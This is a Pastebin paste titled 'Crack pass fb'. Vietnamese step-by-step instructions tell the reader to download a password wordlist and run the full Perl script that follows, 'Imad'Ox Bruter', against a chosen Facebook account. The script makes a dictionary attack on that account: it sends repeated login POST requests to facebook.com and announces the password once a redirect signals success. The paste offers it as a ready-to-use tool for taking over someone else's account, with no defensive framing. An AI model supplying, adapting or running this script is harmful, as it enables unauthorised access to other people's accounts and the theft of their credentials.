JackHaxor

Crack pass fb

Feb 28th, 2018
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.07 KB | None | 0 0
  1. Cài active perl trên windows, hoặc sử dụng Koding (http://koding.com)
  2. Save code với tên file Bruter.pl
  3. Tải worldlist về (file chứa các mật khẩu thường) lưu về thành password.txt >>Download<<
  4. Sử dụng lệnh dưới đây để crack
  5.  
  6. perl Bruter.pl Facebooklogin@facebook.com password.txt
  7.  
  8. Facebooklogin@facebook.com: là email facebook muốn crack
  9.  
  10. password.txt: là file chứa từ điển password (có thể download trên mạng rất nhiều). Từ khóa: worldlist password txt.
  11.  
  12. #!/usr/bin/perl
  13. #
  14. # Tool: Imad'Ox Bruter
  15. # Author: Imad'Ox Hunter
  16. # Contact: imadelouajib@gmail.com
  17. # Code date: 17 April 2013
  18. #
  19. #
  20. # Description:
  21. # Imad'Ox Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  22. #
  23. # Usage:
  24. # perl Imad'Ox-Bruter.pl login wordlist
  25. # login could be either a user's email address or profile name
  26. #
  27. # Module Requirements:
  28. #
  29. # Install module if missing:
  30. # perl -MCPAN -e 'install Net::SSLeay'
  31. #
  32. # Demo:
  33. # perl Imad'Ox-Bruter.pl Facebooklogin@facebook.com wordlist.lst
  34. #
  35. # --- Imad'Ox-Bruter Facebook password cracking tool
  36. # --- By Imad'Ox Hunter
  37. # --- www.facebook.com/imad.elouajib
  38. #
  39. # [+] Cracking Facebooklogin@facebook.com ...
  40. #
  41. # [-] test -> Failed
  42. # [-] test123 -> Failed
  43. # [-] testtest -> Failed
  44. # [-] testest123 -> Failed
  45. # [-] qwerty -> Failed
  46. # [-] azerty -> Failed
  47. # [-] password -> Failed
  48. # [-] password123 -> Failed
  49. #
  50. ########################################################
  51. # [+] CRACKED! Your password is P@$$W0RD
  52. ########################################################
  53. #
  54.  
  55. use strict;
  56. use Net::SSLeay::Handle;
  57.  
  58. if(!defined($ARGV[0] && $ARGV[1])) {
  59.  
  60. system('clear');
  61. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  62. print "+++ Coded by Imad'Ox-Hunter\n";
  63. print "+++ www.fb.com/imad.elouajib\n\n";
  64. print "+++ Usage: perl $0 login wordlist\n\n";
  65. exit; }
  66.  
  67. my $user = $ARGV[0];
  68. my $wordlist = $ARGV[1];
  69.  
  70. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  71.  
  72. print "\n+++ Imad'Ox-Bruter Facebook password Bruter\n";
  73. print "+++ Coded by Imad'Ox-Hunter\n";
  74. print "+++ www.fb.com/imad.elouajib\n";
  75. print "\n[+] Now Cracking $user ...\n\n";
  76.  
  77. while (my $password = <LIST>) {
  78. chomp ($password);
  79. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  80.  
  81. my $a = "POST /login.php HTTP/1.1";
  82. my $b = "Host: www.facebook.com";
  83. my $c = "Connection: close";
  84. my $e = "Cache-Control: max-age=0";
  85. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  86. my $g = "Origin: https://www.facebook.com";
  87. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  88. my $i = "Content-Type: application/x-www-form-urlencoded";
  89. my $j = "Accept-Encoding: gzip,deflate,sdch";
  90. my $k = "Accept-Language: en-US,en;q=0.8";
  91. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  92.  
  93. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  94. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  95. my $cl = length($post);
  96. my $d = "Content-Length: $cl";
  97.  
  98.  
  99. my ($host, $port) = ("www.facebook.com", 443);
  100.  
  101. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  102.  
  103.  
  104. print SSL "$a\n";
  105. print SSL "$b\n";
  106. print SSL "$c\n";
  107. print SSL "$d\n";
  108. print SSL "$e\n";
  109. print SSL "$f\n";
  110. print SSL "$g\n";
  111. print SSL "$h\n";
  112. print SSL "$i\n";
  113. print SSL "$j\n";
  114. print SSL "$k\n";
  115. print SSL "$l\n";
  116. print SSL "$cookie\n\n";
  117.  
  118. print SSL "$post\n";
  119.  
  120. my $success;
  121. while(my $result = <SSL>){
  122. if($result =~ /Location(.*?)/){
  123. $success = $1;
  124. }
  125. }
  126. if (!defined $success)
  127. {
  128. print "[-] $password -> Not Him :( \n";
  129. close SSL;
  130. }
  131. else
  132. {
  133. print "\n########################################################\n";
  134. print "[+] Yuuup!! Pass Cracked => Pass is $password :D\n";
  135. print "########################################################\n\n";
  136. close SSL;
  137. exit;
  138. }
  139. }
Add Comment
Please, Sign In to add comment